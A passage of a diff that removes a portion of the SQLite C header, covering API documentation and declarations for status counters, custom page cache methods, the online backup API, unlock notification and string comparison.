)^ -** -** [[SQLITE_STATUS_SCRATCH_SIZE]] ^(
SQLITE_STATUS_SCRATCH_SIZE
-**
This parameter records the largest memory allocation request -** handed to [scratch memory allocator]. Only the value returned in the -** *pHighwater parameter to [sqlite3_status()] is of interest. -** The value written into the *pCurrent parameter is undefined.
)^ -** -** [[SQLITE_STATUS_PARSER_STACK]] ^(
SQLITE_STATUS_PARSER_STACK
-**
This parameter records the deepest parser stack. It is only -** meaningful if SQLite is compiled with [YYTRACKMAXSTACKDEPTH].
)^ -**
-** -** New status parameters may be added from time to time. -*/ -#define SQLITE_STATUS_MEMORY_USED 0 -#define SQLITE_STATUS_PAGECACHE_USED 1 -#define SQLITE_STATUS_PAGECACHE_OVERFLOW 2 -#define SQLITE_STATUS_SCRATCH_USED 3 -#define SQLITE_STATUS_SCRATCH_OVERFLOW 4 -#define SQLITE_STATUS_MALLOC_SIZE 5 -#define SQLITE_STATUS_PARSER_STACK 6 -#define SQLITE_STATUS_PAGECACHE_SIZE 7 -#define SQLITE_STATUS_SCRATCH_SIZE 8 -#define SQLITE_STATUS_MALLOC_COUNT 9 - -/* -** CAPI3REF: Database Connection Status -** -** ^This interface is used to retrieve runtime status information -** about a single [database connection]. ^The first argument is the -** database connection object to be interrogated. ^The second argument -** is an integer constant, taken from the set of -** [SQLITE_DBSTATUS options], that -** determines the parameter to interrogate. The set of -** [SQLITE_DBSTATUS options] is likely -** to grow in future releases of SQLite. -** -** ^The current value of the requested parameter is written into *pCur -** and the highest instantaneous value is written into *pHiwtr. ^If -** the resetFlg is true, then the highest instantaneous value is -** reset back down to the current value. -** -** ^The sqlite3_db_status() routine returns SQLITE_OK on success and a -** non-zero [error code] on failure. -** -** See also: [sqlite3_status()] and [sqlite3_stmt_status()]. -*/ -SQLITE_API int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int resetFlg); - -/* -** CAPI3REF: Status Parameters for database connections -** KEYWORDS: {SQLITE_DBSTATUS options} -** -** These constants are the available integer "verbs" that can be passed as -** the second argument to the [sqlite3_db_status()] interface. -** -** New verbs may be added in future releases of SQLite. Existing verbs -** might be discontinued. Applications should check the return code from -** [sqlite3_db_status()] to make sure that the call worked. -** The [sqlite3_db_status()] interface will return a non-zero error code -** if a discontinued or unsupported verb is invoked. -** -**
-** [[SQLITE_DBSTATUS_LOOKASIDE_USED]] ^(
SQLITE_DBSTATUS_LOOKASIDE_USED
-**
This parameter returns the number of lookaside memory slots currently -** checked out.
)^ -** -** [[SQLITE_DBSTATUS_LOOKASIDE_HIT]] ^(
SQLITE_DBSTATUS_LOOKASIDE_HIT
-**
This parameter returns the number malloc attempts that were -** satisfied using lookaside memory. Only the high-water value is meaningful; -** the current value is always zero.)^ -** -** [[SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE]] -** ^(
SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE
-**
This parameter returns the number malloc attempts that might have -** been satisfied using lookaside memory but failed due to the amount of -** memory requested being larger than the lookaside slot size. -** Only the high-water value is meaningful; -** the current value is always zero.)^ -** -** [[SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL]] -** ^(
SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL
-**
This parameter returns the number malloc attempts that might have -** been satisfied using lookaside memory but failed due to all lookaside -** memory already being in use. -** Only the high-water value is meaningful; -** the current value is always zero.)^ -** -** [[SQLITE_DBSTATUS_CACHE_USED]] ^(
SQLITE_DBSTATUS_CACHE_USED
-**
This parameter returns the approximate number of of bytes of heap -** memory used by all pager caches associated with the database connection.)^ -** ^The highwater mark associated with SQLITE_DBSTATUS_CACHE_USED is always 0. -** -** [[SQLITE_DBSTATUS_SCHEMA_USED]] ^(
SQLITE_DBSTATUS_SCHEMA_USED
-**
This parameter returns the approximate number of of bytes of heap -** memory used to store the schema for all databases associated -** with the connection - main, temp, and any [ATTACH]-ed databases.)^ -** ^The full amount of memory used by the schemas is reported, even if the -** schema memory is shared with other database connections due to -** [shared cache mode] being enabled. -** ^The highwater mark associated with SQLITE_DBSTATUS_SCHEMA_USED is always 0. -** -** [[SQLITE_DBSTATUS_STMT_USED]] ^(
SQLITE_DBSTATUS_STMT_USED
-**
This parameter returns the approximate number of of bytes of heap -** and lookaside memory used by all prepared statements associated with -** the database connection.)^ -** ^The highwater mark associated with SQLITE_DBSTATUS_STMT_USED is always 0. -**
-** -** [[SQLITE_DBSTATUS_CACHE_HIT]] ^(
SQLITE_DBSTATUS_CACHE_HIT
-**
This parameter returns the number of pager cache hits that have -** occurred.)^ ^The highwater mark associated with SQLITE_DBSTATUS_CACHE_HIT -** is always 0. -**
-** -** [[SQLITE_DBSTATUS_CACHE_MISS]] ^(
SQLITE_DBSTATUS_CACHE_MISS
-**
This parameter returns the number of pager cache misses that have -** occurred.)^ ^The highwater mark associated with SQLITE_DBSTATUS_CACHE_MISS -** is always 0. -**
-** -** [[SQLITE_DBSTATUS_CACHE_WRITE]] ^(
SQLITE_DBSTATUS_CACHE_WRITE
-**
This parameter returns the number of dirty cache entries that have -** been written to disk. Specifically, the number of pages written to the -** wal file in wal mode databases, or the number of pages written to the -** database file in rollback mode databases. Any pages written as part of -** transaction rollback or database recovery operations are not included. -** If an IO or other error occurs while writing a page to disk, the effect -** on subsequent SQLITE_DBSTATUS_CACHE_WRITE requests is undefined.)^ ^The -** highwater mark associated with SQLITE_DBSTATUS_CACHE_WRITE is always 0. -**
-**
-*/ -#define SQLITE_DBSTATUS_LOOKASIDE_USED 0 -#define SQLITE_DBSTATUS_CACHE_USED 1 -#define SQLITE_DBSTATUS_SCHEMA_USED 2 -#define SQLITE_DBSTATUS_STMT_USED 3 -#define SQLITE_DBSTATUS_LOOKASIDE_HIT 4 -#define SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE 5 -#define SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL 6 -#define SQLITE_DBSTATUS_CACHE_HIT 7 -#define SQLITE_DBSTATUS_CACHE_MISS 8 -#define SQLITE_DBSTATUS_CACHE_WRITE 9 -#define SQLITE_DBSTATUS_MAX 9 /* Largest defined DBSTATUS */ - - -/* -** CAPI3REF: Prepared Statement Status -** -** ^(Each prepared statement maintains various -** [SQLITE_STMTSTATUS counters] that measure the number -** of times it has performed specific operations.)^ These counters can -** be used to monitor the performance characteristics of the prepared -** statements. For example, if the number of table steps greatly exceeds -** the number of table searches or result rows, that would tend to indicate -** that the prepared statement is using a full table scan rather than -** an index. -** -** ^(This interface is used to retrieve and reset counter values from -** a [prepared statement]. The first argument is the prepared statement -** object to be interrogated. The second argument -** is an integer code for a specific [SQLITE_STMTSTATUS counter] -** to be interrogated.)^ -** ^The current value of the requested counter is returned. -** ^If the resetFlg is true, then the counter is reset to zero after this -** interface call returns. -** -** See also: [sqlite3_status()] and [sqlite3_db_status()]. -*/ -SQLITE_API int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg); - -/* -** CAPI3REF: Status Parameters for prepared statements -** KEYWORDS: {SQLITE_STMTSTATUS counter} {SQLITE_STMTSTATUS counters} -** -** These preprocessor macros define integer codes that name counter -** values associated with the [sqlite3_stmt_status()] interface. -** The meanings of the various counters are as follows: -** -**
-** [[SQLITE_STMTSTATUS_FULLSCAN_STEP]]
SQLITE_STMTSTATUS_FULLSCAN_STEP
-**
^This is the number of times that SQLite has stepped forward in -** a table as part of a full table scan. Large numbers for this counter -** may indicate opportunities for performance improvement through -** careful use of indices.
-** -** [[SQLITE_STMTSTATUS_SORT]]
SQLITE_STMTSTATUS_SORT
-**
^This is the number of sort operations that have occurred. -** A non-zero value in this counter may indicate an opportunity to -** improvement performance through careful use of indices.
-** -** [[SQLITE_STMTSTATUS_AUTOINDEX]]
SQLITE_STMTSTATUS_AUTOINDEX
-**
^This is the number of rows inserted into transient indices that -** were created automatically in order to help joins run faster. -** A non-zero value in this counter may indicate an opportunity to -** improvement performance by adding permanent indices that do not -** need to be reinitialized each time the statement is run.
-**
-*/ -#define SQLITE_STMTSTATUS_FULLSCAN_STEP 1 -#define SQLITE_STMTSTATUS_SORT 2 -#define SQLITE_STMTSTATUS_AUTOINDEX 3 - -/* -** CAPI3REF: Custom Page Cache Object -** -** The sqlite3_pcache type is opaque. It is implemented by -** the pluggable module. The SQLite core has no knowledge of -** its size or internal structure and never deals with the -** sqlite3_pcache object except by holding and passing pointers -** to the object. -** -** See [sqlite3_pcache_methods2] for additional information. -*/ -typedef struct sqlite3_pcache sqlite3_pcache; - -/* -** CAPI3REF: Custom Page Cache Object -** -** The sqlite3_pcache_page object represents a single page in the -** page cache. The page cache will allocate instances of this -** object. Various methods of the page cache use pointers to instances -** of this object as parameters or as their return value. -** -** See [sqlite3_pcache_methods2] for additional information. -*/ -typedef struct sqlite3_pcache_page sqlite3_pcache_page; -struct sqlite3_pcache_page { - void *pBuf; /* The content of the page */ - void *pExtra; /* Extra information associated with the page */ -}; - -/* -** CAPI3REF: Application Defined Page Cache. -** KEYWORDS: {page cache} -** -** ^(The [sqlite3_config]([SQLITE_CONFIG_PCACHE2], ...) interface can -** register an alternative page cache implementation by passing in an -** instance of the sqlite3_pcache_methods2 structure.)^ -** In many applications, most of the heap memory allocated by -** SQLite is used for the page cache. -** By implementing a -** custom page cache using this API, an application can better control -** the amount of memory consumed by SQLite, the way in which -** that memory is allocated and released, and the policies used to -** determine exactly which parts of a database file are cached and for -** how long. -** -** The alternative page cache mechanism is an -** extreme measure that is only needed by the most demanding applications. -** The built-in page cache is recommended for most uses. -** -** ^(The contents of the sqlite3_pcache_methods2 structure are copied to an -** internal buffer by SQLite within the call to [sqlite3_config]. Hence -** the application may discard the parameter after the call to -** [sqlite3_config()] returns.)^ -** -** [[the xInit() page cache method]] -** ^(The xInit() method is called once for each effective -** call to [sqlite3_initialize()])^ -** (usually only once during the lifetime of the process). ^(The xInit() -** method is passed a copy of the sqlite3_pcache_methods2.pArg value.)^ -** The intent of the xInit() method is to set up global data structures -** required by the custom page cache implementation. -** ^(If the xInit() method is NULL, then the -** built-in default page cache is used instead of the application defined -** page cache.)^ -** -** [[the xShutdown() page cache method]] -** ^The xShutdown() method is called by [sqlite3_shutdown()]. -** It can be used to clean up -** any outstanding resources before process shutdown, if required. -** ^The xShutdown() method may be NULL. -** -** ^SQLite automatically serializes calls to the xInit method, -** so the xInit method need not be threadsafe. ^The -** xShutdown method is only called from [sqlite3_shutdown()] so it does -** not need to be threadsafe either. All other methods must be threadsafe -** in multithreaded applications. -** -** ^SQLite will never invoke xInit() more than once without an intervening -** call to xShutdown(). -** -** [[the xCreate() page cache methods]] -** ^SQLite invokes the xCreate() method to construct a new cache instance. -** SQLite will typically create one cache instance for each open database file, -** though this is not guaranteed. ^The -** first parameter, szPage, is the size in bytes of the pages that must -** be allocated by the cache. ^szPage will always a power of two. ^The -** second parameter szExtra is a number of bytes of extra storage -** associated with each page cache entry. ^The szExtra parameter will -** a number less than 250. SQLite will use the -** extra szExtra bytes on each page to store metadata about the underlying -** database page on disk. The value passed into szExtra depends -** on the SQLite version, the target platform, and how SQLite was compiled. -** ^The third argument to xCreate(), bPurgeable, is true if the cache being -** created will be used to cache database pages of a file stored on disk, or -** false if it is used for an in-memory database. The cache implementation -** does not have to do anything special based with the value of bPurgeable; -** it is purely advisory. ^On a cache where bPurgeable is false, SQLite will -** never invoke xUnpin() except to deliberately delete a page. -** ^In other words, calls to xUnpin() on a cache with bPurgeable set to -** false will always have the "discard" flag set to true. -** ^Hence, a cache created with bPurgeable false will -** never contain any unpinned pages. -** -** [[the xCachesize() page cache method]] -** ^(The xCachesize() method may be called at any time by SQLite to set the -** suggested maximum cache-size (number of pages stored by) the cache -** instance passed as the first argument. This is the value configured using -** the SQLite "[PRAGMA cache_size]" command.)^ As with the bPurgeable -** parameter, the implementation is not required to do anything with this -** value; it is advisory only. -** -** [[the xPagecount() page cache methods]] -** The xPagecount() method must return the number of pages currently -** stored in the cache, both pinned and unpinned. -** -** [[the xFetch() page cache methods]] -** The xFetch() method locates a page in the cache and returns a pointer to -** an sqlite3_pcache_page object associated with that page, or a NULL pointer. -** The pBuf element of the returned sqlite3_pcache_page object will be a -** pointer to a buffer of szPage bytes used to store the content of a -** single database page. The pExtra element of sqlite3_pcache_page will be -** a pointer to the szExtra bytes of extra storage that SQLite has requested -** for each entry in the page cache. -** -** The page to be fetched is determined by the key. ^The minimum key value -** is 1. After it has been retrieved using xFetch, the page is considered -** to be "pinned". -** -** If the requested page is already in the page cache, then the page cache -** implementation must return a pointer to the page buffer with its content -** intact. If the requested page is not already in the cache, then the -** cache implementation should use the value of the createFlag -** parameter to help it determined what action to take: -** -** -**
createFlag Behavior when page is not already in cache -**
0 Do not allocate a new page. Return NULL. -**
1 Allocate a new page if it easy and convenient to do so. -** Otherwise return NULL. -**
2 Make every effort to allocate a new page. Only return -** NULL if allocating a new page is effectively impossible. -**
-** -** ^(SQLite will normally invoke xFetch() with a createFlag of 0 or 1. SQLite -** will only use a createFlag of 2 after a prior call with a createFlag of 1 -** failed.)^ In between the to xFetch() calls, SQLite may -** attempt to unpin one or more cache pages by spilling the content of -** pinned pages to disk and synching the operating system disk cache. -** -** [[the xUnpin() page cache method]] -** ^xUnpin() is called by SQLite with a pointer to a currently pinned page -** as its second argument. If the third parameter, discard, is non-zero, -** then the page must be evicted from the cache. -** ^If the discard parameter is -** zero, then the page may be discarded or retained at the discretion of -** page cache implementation. ^The page cache implementation -** may choose to evict unpinned pages at any time. -** -** The cache must not perform any reference counting. A single -** call to xUnpin() unpins the page regardless of the number of prior calls -** to xFetch(). -** -** [[the xRekey() page cache methods]] -** The xRekey() method is used to change the key value associated with the -** page passed as the second argument. If the cache -** previously contains an entry associated with newKey, it must be -** discarded. ^Any prior cache entry associated with newKey is guaranteed not -** to be pinned. -** -** When SQLite calls the xTruncate() method, the cache must discard all -** existing cache entries with page numbers (keys) greater than or equal -** to the value of the iLimit parameter passed to xTruncate(). If any -** of these pages are pinned, they are implicitly unpinned, meaning that -** they can be safely discarded. -** -** [[the xDestroy() page cache method]] -** ^The xDestroy() method is used to delete a cache allocated by xCreate(). -** All resources associated with the specified cache should be freed. ^After -** calling the xDestroy() method, SQLite considers the [sqlite3_pcache*] -** handle invalid, and will not use it with any other sqlite3_pcache_methods2 -** functions. -** -** [[the xShrink() page cache method]] -** ^SQLite invokes the xShrink() method when it wants the page cache to -** free up as much of heap memory as possible. The page cache implementation -** is not obligated to free any memory, but well-behaved implementations should -** do their best. -*/ -typedef struct sqlite3_pcache_methods2 sqlite3_pcache_methods2; -struct sqlite3_pcache_methods2 { - int iVersion; - void *pArg; - int (*xInit)(void*); - void (*xShutdown)(void*); - sqlite3_pcache *(*xCreate)(int szPage, int szExtra, int bPurgeable); - void (*xCachesize)(sqlite3_pcache*, int nCachesize); - int (*xPagecount)(sqlite3_pcache*); - sqlite3_pcache_page *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); - void (*xUnpin)(sqlite3_pcache*, sqlite3_pcache_page*, int discard); - void (*xRekey)(sqlite3_pcache*, sqlite3_pcache_page*, - unsigned oldKey, unsigned newKey); - void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); - void (*xDestroy)(sqlite3_pcache*); - void (*xShrink)(sqlite3_pcache*); -}; - -/* -** This is the obsolete pcache_methods object that has now been replaced -** by sqlite3_pcache_methods2. This object is not used by SQLite. It is -** retained in the header file for backwards compatibility only. -*/ -typedef struct sqlite3_pcache_methods sqlite3_pcache_methods; -struct sqlite3_pcache_methods { - void *pArg; - int (*xInit)(void*); - void (*xShutdown)(void*); - sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); - void (*xCachesize)(sqlite3_pcache*, int nCachesize); - int (*xPagecount)(sqlite3_pcache*); - void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); - void (*xUnpin)(sqlite3_pcache*, void*, int discard); - void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); - void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); - void (*xDestroy)(sqlite3_pcache*); -}; - - -/* -** CAPI3REF: Online Backup Object -** -** The sqlite3_backup object records state information about an ongoing -** online backup operation. ^The sqlite3_backup object is created by -** a call to [sqlite3_backup_init()] and is destroyed by a call to -** [sqlite3_backup_finish()]. -** -** See Also: [Using the SQLite Online Backup API] -*/ -typedef struct sqlite3_backup sqlite3_backup; - -/* -** CAPI3REF: Online Backup API. -** -** The backup API copies the content of one database into another. -** It is useful either for creating backups of databases or -** for copying in-memory databases to or from persistent files. -** -** See Also: [Using the SQLite Online Backup API] -** -** ^SQLite holds a write transaction open on the destination database file -** for the duration of the backup operation. -** ^The source database is read-locked only while it is being read; -** it is not locked continuously for the entire backup operation. -** ^Thus, the backup may be performed on a live source database without -** preventing other database connections from -** reading or writing to the source database while the backup is underway. -** -** ^(To perform a backup operation: -**
    -**
  1. sqlite3_backup_init() is called once to initialize the -** backup, -**
  2. sqlite3_backup_step() is called one or more times to transfer -** the data between the two databases, and finally -**
  3. sqlite3_backup_finish() is called to release all resources -** associated with the backup operation. -**
)^ -** There should be exactly one call to sqlite3_backup_finish() for each -** successful call to sqlite3_backup_init(). -** -** [[sqlite3_backup_init()]] sqlite3_backup_init() -** -** ^The D and N arguments to sqlite3_backup_init(D,N,S,M) are the -** [database connection] associated with the destination database -** and the database name, respectively. -** ^The database name is "main" for the main database, "temp" for the -** temporary database, or the name specified after the AS keyword in -** an [ATTACH] statement for an attached database. -** ^The S and M arguments passed to -** sqlite3_backup_init(D,N,S,M) identify the [database connection] -** and database name of the source database, respectively. -** ^The source and destination [database connections] (parameters S and D) -** must be different or else sqlite3_backup_init(D,N,S,M) will fail with -** an error. -** -** ^If an error occurs within sqlite3_backup_init(D,N,S,M), then NULL is -** returned and an error code and error message are stored in the -** destination [database connection] D. -** ^The error code and message for the failed call to sqlite3_backup_init() -** can be retrieved using the [sqlite3_errcode()], [sqlite3_errmsg()], and/or -** [sqlite3_errmsg16()] functions. -** ^A successful call to sqlite3_backup_init() returns a pointer to an -** [sqlite3_backup] object. -** ^The [sqlite3_backup] object may be used with the sqlite3_backup_step() and -** sqlite3_backup_finish() functions to perform the specified backup -** operation. -** -** [[sqlite3_backup_step()]] sqlite3_backup_step() -** -** ^Function sqlite3_backup_step(B,N) will copy up to N pages between -** the source and destination databases specified by [sqlite3_backup] object B. -** ^If N is negative, all remaining source pages are copied. -** ^If sqlite3_backup_step(B,N) successfully copies N pages and there -** are still more pages to be copied, then the function returns [SQLITE_OK]. -** ^If sqlite3_backup_step(B,N) successfully finishes copying all pages -** from source to destination, then it returns [SQLITE_DONE]. -** ^If an error occurs while running sqlite3_backup_step(B,N), -** then an [error code] is returned. ^As well as [SQLITE_OK] and -** [SQLITE_DONE], a call to sqlite3_backup_step() may return [SQLITE_READONLY], -** [SQLITE_NOMEM], [SQLITE_BUSY], [SQLITE_LOCKED], or an -** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] extended error code. -** -** ^(The sqlite3_backup_step() might return [SQLITE_READONLY] if -**
    -**
  1. the destination database was opened read-only, or -**
  2. the destination database is using write-ahead-log journaling -** and the destination and source page sizes differ, or -**
  3. the destination database is an in-memory database and the -** destination and source page sizes differ. -**
)^ -** -** ^If sqlite3_backup_step() cannot obtain a required file-system lock, then -** the [sqlite3_busy_handler | busy-handler function] -** is invoked (if one is specified). ^If the -** busy-handler returns non-zero before the lock is available, then -** [SQLITE_BUSY] is returned to the caller. ^In this case the call to -** sqlite3_backup_step() can be retried later. ^If the source -** [database connection] -** is being used to write to the source database when sqlite3_backup_step() -** is called, then [SQLITE_LOCKED] is returned immediately. ^Again, in this -** case the call to sqlite3_backup_step() can be retried later on. ^(If -** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX], [SQLITE_NOMEM], or -** [SQLITE_READONLY] is returned, then -** there is no point in retrying the call to sqlite3_backup_step(). These -** errors are considered fatal.)^ The application must accept -** that the backup operation has failed and pass the backup operation handle -** to the sqlite3_backup_finish() to release associated resources. -** -** ^The first call to sqlite3_backup_step() obtains an exclusive lock -** on the destination file. ^The exclusive lock is not released until either -** sqlite3_backup_finish() is called or the backup operation is complete -** and sqlite3_backup_step() returns [SQLITE_DONE]. ^Every call to -** sqlite3_backup_step() obtains a [shared lock] on the source database that -** lasts for the duration of the sqlite3_backup_step() call. -** ^Because the source database is not locked between calls to -** sqlite3_backup_step(), the source database may be modified mid-way -** through the backup process. ^If the source database is modified by an -** external process or via a database connection other than the one being -** used by the backup operation, then the backup will be automatically -** restarted by the next call to sqlite3_backup_step(). ^If the source -** database is modified by the using the same database connection as is used -** by the backup operation, then the backup database is automatically -** updated at the same time. -** -** [[sqlite3_backup_finish()]] sqlite3_backup_finish() -** -** When sqlite3_backup_step() has returned [SQLITE_DONE], or when the -** application wishes to abandon the backup operation, the application -** should destroy the [sqlite3_backup] by passing it to sqlite3_backup_finish(). -** ^The sqlite3_backup_finish() interfaces releases all -** resources associated with the [sqlite3_backup] object. -** ^If sqlite3_backup_step() has not yet returned [SQLITE_DONE], then any -** active write-transaction on the destination database is rolled back. -** The [sqlite3_backup] object is invalid -** and may not be used following a call to sqlite3_backup_finish(). -** -** ^The value returned by sqlite3_backup_finish is [SQLITE_OK] if no -** sqlite3_backup_step() errors occurred, regardless or whether or not -** sqlite3_backup_step() completed. -** ^If an out-of-memory condition or IO error occurred during any prior -** sqlite3_backup_step() call on the same [sqlite3_backup] object, then -** sqlite3_backup_finish() returns the corresponding [error code]. -** -** ^A return of [SQLITE_BUSY] or [SQLITE_LOCKED] from sqlite3_backup_step() -** is not a permanent error and does not affect the return value of -** sqlite3_backup_finish(). -** -** [[sqlite3_backup__remaining()]] [[sqlite3_backup_pagecount()]] -** sqlite3_backup_remaining() and sqlite3_backup_pagecount() -** -** ^Each call to sqlite3_backup_step() sets two values inside -** the [sqlite3_backup] object: the number of pages still to be backed -** up and the total number of pages in the source database file. -** The sqlite3_backup_remaining() and sqlite3_backup_pagecount() interfaces -** retrieve these two values, respectively. -** -** ^The values returned by these functions are only updated by -** sqlite3_backup_step(). ^If the source database is modified during a backup -** operation, then the values are not updated to account for any extra -** pages that need to be updated or the size of the source database file -** changing. -** -** Concurrent Usage of Database Handles -** -** ^The source [database connection] may be used by the application for other -** purposes while a backup operation is underway or being initialized. -** ^If SQLite is compiled and configured to support threadsafe database -** connections, then the source database connection may be used concurrently -** from within other threads. -** -** However, the application must guarantee that the destination -** [database connection] is not passed to any other API (by any thread) after -** sqlite3_backup_init() is called and before the corresponding call to -** sqlite3_backup_finish(). SQLite does not currently check to see -** if the application incorrectly accesses the destination [database connection] -** and so no error code is reported, but the operations may malfunction -** nevertheless. Use of the destination database connection while a -** backup is in progress might also also cause a mutex deadlock. -** -** If running in [shared cache mode], the application must -** guarantee that the shared cache used by the destination database -** is not accessed while the backup is running. In practice this means -** that the application must guarantee that the disk file being -** backed up to is not accessed by any connection within the process, -** not just the specific connection that was passed to sqlite3_backup_init(). -** -** The [sqlite3_backup] object itself is partially threadsafe. Multiple -** threads may safely make multiple concurrent calls to sqlite3_backup_step(). -** However, the sqlite3_backup_remaining() and sqlite3_backup_pagecount() -** APIs are not strictly speaking threadsafe. If they are invoked at the -** same time as another thread is invoking sqlite3_backup_step() it is -** possible that they return invalid values. -*/ -SQLITE_API sqlite3_backup *sqlite3_backup_init( - sqlite3 *pDest, /* Destination database handle */ - const char *zDestName, /* Destination database name */ - sqlite3 *pSource, /* Source database handle */ - const char *zSourceName /* Source database name */ -); -SQLITE_API int sqlite3_backup_step(sqlite3_backup *p, int nPage); -SQLITE_API int sqlite3_backup_finish(sqlite3_backup *p); -SQLITE_API int sqlite3_backup_remaining(sqlite3_backup *p); -SQLITE_API int sqlite3_backup_pagecount(sqlite3_backup *p); - -/* -** CAPI3REF: Unlock Notification -** -** ^When running in shared-cache mode, a database operation may fail with -** an [SQLITE_LOCKED] error if the required locks on the shared-cache or -** individual tables within the shared-cache cannot be obtained. See -** [SQLite Shared-Cache Mode] for a description of shared-cache locking. -** ^This API may be used to register a callback that SQLite will invoke -** when the connection currently holding the required lock relinquishes it. -** ^This API is only available if the library was compiled with the -** [SQLITE_ENABLE_UNLOCK_NOTIFY] C-preprocessor symbol defined. -** -** See Also: [Using the SQLite Unlock Notification Feature]. -** -** ^Shared-cache locks are released when a database connection concludes -** its current transaction, either by committing it or rolling it back. -** -** ^When a connection (known as the blocked connection) fails to obtain a -** shared-cache lock and SQLITE_LOCKED is returned to the caller, the -** identity of the database connection (the blocking connection) that -** has locked the required resource is stored internally. ^After an -** application receives an SQLITE_LOCKED error, it may call the -** sqlite3_unlock_notify() method with the blocked connection handle as -** the first argument to register for a callback that will be invoked -** when the blocking connections current transaction is concluded. ^The -** callback is invoked from within the [sqlite3_step] or [sqlite3_close] -** call that concludes the blocking connections transaction. -** -** ^(If sqlite3_unlock_notify() is called in a multi-threaded application, -** there is a chance that the blocking connection will have already -** concluded its transaction by the time sqlite3_unlock_notify() is invoked. -** If this happens, then the specified callback is invoked immediately, -** from within the call to sqlite3_unlock_notify().)^ -** -** ^If the blocked connection is attempting to obtain a write-lock on a -** shared-cache table, and more than one other connection currently holds -** a read-lock on the same table, then SQLite arbitrarily selects one of -** the other connections to use as the blocking connection. -** -** ^(There may be at most one unlock-notify callback registered by a -** blocked connection. If sqlite3_unlock_notify() is called when the -** blocked connection already has a registered unlock-notify callback, -** then the new callback replaces the old.)^ ^If sqlite3_unlock_notify() is -** called with a NULL pointer as its second argument, then any existing -** unlock-notify callback is canceled. ^The blocked connections -** unlock-notify callback may also be canceled by closing the blocked -** connection using [sqlite3_close()]. -** -** The unlock-notify callback is not reentrant. If an application invokes -** any sqlite3_xxx API functions from within an unlock-notify callback, a -** crash or deadlock may be the result. -** -** ^Unless deadlock is detected (see below), sqlite3_unlock_notify() always -** returns SQLITE_OK. -** -** Callback Invocation Details -** -** When an unlock-notify callback is registered, the application provides a -** single void* pointer that is passed to the callback when it is invoked. -** However, the signature of the callback function allows SQLite to pass -** it an array of void* context pointers. The first argument passed to -** an unlock-notify callback is a pointer to an array of void* pointers, -** and the second is the number of entries in the array. -** -** When a blocking connections transaction is concluded, there may be -** more than one blocked connection that has registered for an unlock-notify -** callback. ^If two or more such blocked connections have specified the -** same callback function, then instead of invoking the callback function -** multiple times, it is invoked once with the set of void* context pointers -** specified by the blocked connections bundled together into an array. -** This gives the application an opportunity to prioritize any actions -** related to the set of unblocked database connections. -** -** Deadlock Detection -** -** Assuming that after registering for an unlock-notify callback a -** database waits for the callback to be issued before taking any further -** action (a reasonable assumption), then using this API may cause the -** application to deadlock. For example, if connection X is waiting for -** connection Y's transaction to be concluded, and similarly connection -** Y is waiting on connection X's transaction, then neither connection -** will proceed and the system may remain deadlocked indefinitely. -** -** To avoid this scenario, the sqlite3_unlock_notify() performs deadlock -** detection. ^If a given call to sqlite3_unlock_notify() would put the -** system in a deadlocked state, then SQLITE_LOCKED is returned and no -** unlock-notify callback is registered. The system is said to be in -** a deadlocked state if connection A has registered for an unlock-notify -** callback on the conclusion of connection B's transaction, and connection -** B has itself registered for an unlock-notify callback when connection -** A's transaction is concluded. ^Indirect deadlock is also detected, so -** the system is also considered to be deadlocked if connection B has -** registered for an unlock-notify callback on the conclusion of connection -** C's transaction, where connection C is waiting on connection A. ^Any -** number of levels of indirection are allowed. -** -** The "DROP TABLE" Exception -** -** When a call to [sqlite3_step()] returns SQLITE_LOCKED, it is almost -** always appropriate to call sqlite3_unlock_notify(). There is however, -** one exception. When executing a "DROP TABLE" or "DROP INDEX" statement, -** SQLite checks if there are any currently executing SELECT statements -** that belong to the same connection. If there are, SQLITE_LOCKED is -** returned. In this case there is no "blocking connection", so invoking -** sqlite3_unlock_notify() results in the unlock-notify callback being -** invoked immediately. If the application then re-attempts the "DROP TABLE" -** or "DROP INDEX" query, an infinite loop might be the result. -** -** One way around this problem is to check the extended error code returned -** by an sqlite3_step() call. ^(If there is a blocking connection, then the -** extended error code is set to SQLITE_LOCKED_SHAREDCACHE. Otherwise, in -** the special "DROP TABLE/INDEX" case, the extended error code is just -** SQLITE_LOCKED.)^ -*/ -SQLITE_API int sqlite3_unlock_notify( - sqlite3 *pBlocked, /* Waiting connection */ - void (*xNotify)(void **apArg, int nArg), /* Callback function to invoke */ - void *pNotifyArg /* Argument to pass to xNotify */ -); - - -/* -** CAPI3REF: String Comparison -** -** ^The [sqlite3_stricmp()] and [sqlite3_strnicmp()] APIs allow applications -** and extensions to compare the contents of two buffers containing UTF-8 -** strings in a case-independent fashion, using the same definition of "case -** independence" that SQLite uses internally when comparing identifiers. -*/ -SQLITE_API int sqlite3_stricmp(const char *, const char *); -SQLITE_API int sqlite3_strnicmp(const char *, const char *, int); - -/* -** CAPI3REF: String Globbing -* -** ^The [sqlite3_strglob(P,X)] interface returns zero if string X matches -** the glob pattern P, and it returns non-zero if string X does not match -** the glob pattern P. ^The definition of glob pattern matching used in -** [sqlite3_strglob(P,X)] is the same as for the "X GLOB P" operator in the -** SQL dialect used by SQLite. ^The sqlite3_strglob(P,X) function is case -** sensitive. -** -** Note that this routine returns zero on a match and non-zero if the strings -** do not match, the same as [sqlite3_stricmp()] and [sqlite3_strnicmp()]. -*/ -SQLITE_API int sqlite3_strglob(const char *zGlob, const char *zStr); - -/* -** CAPI3REF: Error Logging Interface -** -** ^The [sqlite3_log()] interface writes a message into the [error log] -** established by the [SQLITE_CONFIG_LOG] option to [sqlite3_config()]. -** ^If logging is enabled, the zFormat string and subsequent arguments are -** used with [sqlite3_snprintf()] to generate the final output string. -** -** The sqlite3_log() interface is intended for use by extensions such as -** virtual tables, collating functions, and SQL functions. While there is -** nothing to prevent an application from calling sqlite3_log(), doing 